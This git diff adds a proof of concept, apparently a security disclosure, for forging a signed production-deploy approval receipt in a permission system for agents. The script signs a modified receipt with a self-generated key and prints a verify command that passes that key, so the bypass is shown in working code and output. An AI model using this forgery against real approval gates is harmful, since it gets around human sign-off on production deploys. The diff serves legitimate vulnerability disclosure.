diff --git a/security/poc/ephemeral-public-key.pem b/security/poc/ephemeral-public-key.pem new file mode 100644 index 0000000..3e3d580 --- /dev/null +++ b/security/poc/ephemeral-public-key.pem @@ -0,0 +1,3 @@ +-----BEGIN PUBLIC KEY----- +MCowBQYDK2VwAyEA9Iv7LD5Ew8LDNvhtD8VMyWm14jjLpfZv7D4r6qJh29E= +-----END PUBLIC KEY----- diff --git a/security/poc/exploit.js b/security/poc/exploit.js new file mode 100644 index 0000000..ceb5d1b --- /dev/null +++ b/security/poc/exploit.js @@ -0,0 +1,44 @@ +const fs = require('fs'); +const crypto = require('crypto'); +const path = require('path'); + +// Accept paths as arguments to avoid brittle relative links +const ppCliPathArg = process.argv[2]; +const templateReceiptPathArg = process.argv[3]; + +if (!ppCliPathArg || !templateReceiptPathArg) { + console.error('Usage: node exploit.js '); + process.exit(1); +} + +const ppCliPath = path.resolve(ppCliPathArg); +const { canonicalizeReceiptBytes } = require(ppCliPath); +const templateReceiptPath = path.resolve(templateReceiptPathArg); + +// Generate an ephemeral keypair for the POC to avoid using leaked fixture keys +const { privateKey, publicKey } = crypto.generateKeyPairSync('ed25519'); + +// Read the template receipt +const receipt = JSON.parse(fs.readFileSync(templateReceiptPath, 'utf8')); + +// Modify the receipt to target our PR bypass +receipt.id = 'rcpt_forged_pr32_ephemeral_001'; +receipt.requestJson.repo = 'permission-protocol/pp-demo'; +receipt.requestJson.action = 'deploy:production'; +receipt.requestJson.prNumber = 32; + +// Re-canonicalize the modified payload and sign it +const payloadBytes = canonicalizeReceiptBytes(receipt); +const signature = crypto.sign(null, payloadBytes, privateKey); + +// Attach the forged signature +receipt.signatureValue = signature.toString('base64'); + +// Export the ephemeral keys and the forged receipt for the POC +const outDir = __dirname; +fs.writeFileSync(path.join(outDir, 'ephemeral-public-key.pem'), publicKey.export({ type: 'spki', format: 'pem' })); +fs.writeFileSync(path.join(outDir, 'forged-receipt.json'), JSON.stringify(receipt, null, 2)); + +console.log('POC artifacts generated successfully in', outDir); +console.log('To verify the bypass, run:'); +console.log('node /dist/cli.js verify security/poc/forged-receipt.json --key-file security/poc/ephemeral-public-key.pem'); diff --git a/security/poc/forged-receipt.json b/security/poc/forged-receipt.json new file mode 100644 index 0000000..7fbe80a --- /dev/null +++ b/security/poc/forged-receipt.json @@ -0,0 +1,30 @@ +{ + "id": "rcpt_forged_pr32_ephemeral_001", + "companyId": "co_permission_protocol", + "idemKey": "idem_abc123", + "agentId": "agent_prod_1", + "runId": "run_12345", + "requestJson": { + "signer": "alice@corp.com", + "action": "deploy:production", + "repo": "permission-protocol/pp-demo", + "commitSha": "9f2c1a7", + "prNumber": 32 + }, + "inputHash": "ae1608896372720b6ebb58261e0c0092c608324b0804bc99267c1753990faaa8", + "status": "valid", + "riskTier": "high", + "policyVersion": "prod-deploy-v2", + "reasonCodes": [ + "POLICY_MATCH" + ], + "summary": "Approved deploy to production", + "receiptVersion": "v1", + "canonicalization": "jcs_v1", + "signatureAlg": "ed25519", + "signatureKeyId": "pp-test-2026-q2", + "expiresAt": "2026-12-31T00:00:00.000Z", + "createdAt": "2026-04-30T16:23:11.000Z", + "signatureValue": "ahe6nGTTzBJCAEmMh37TcSo+/Mthnp79rhYmM3LntvRqDLzk48htgoZFt5l/djy+mIDtzjYREJGRslG+RARbAQ==", + "redeemedAt": "2026-04-30T17:00:00.000Z" +} \ No newline at end of file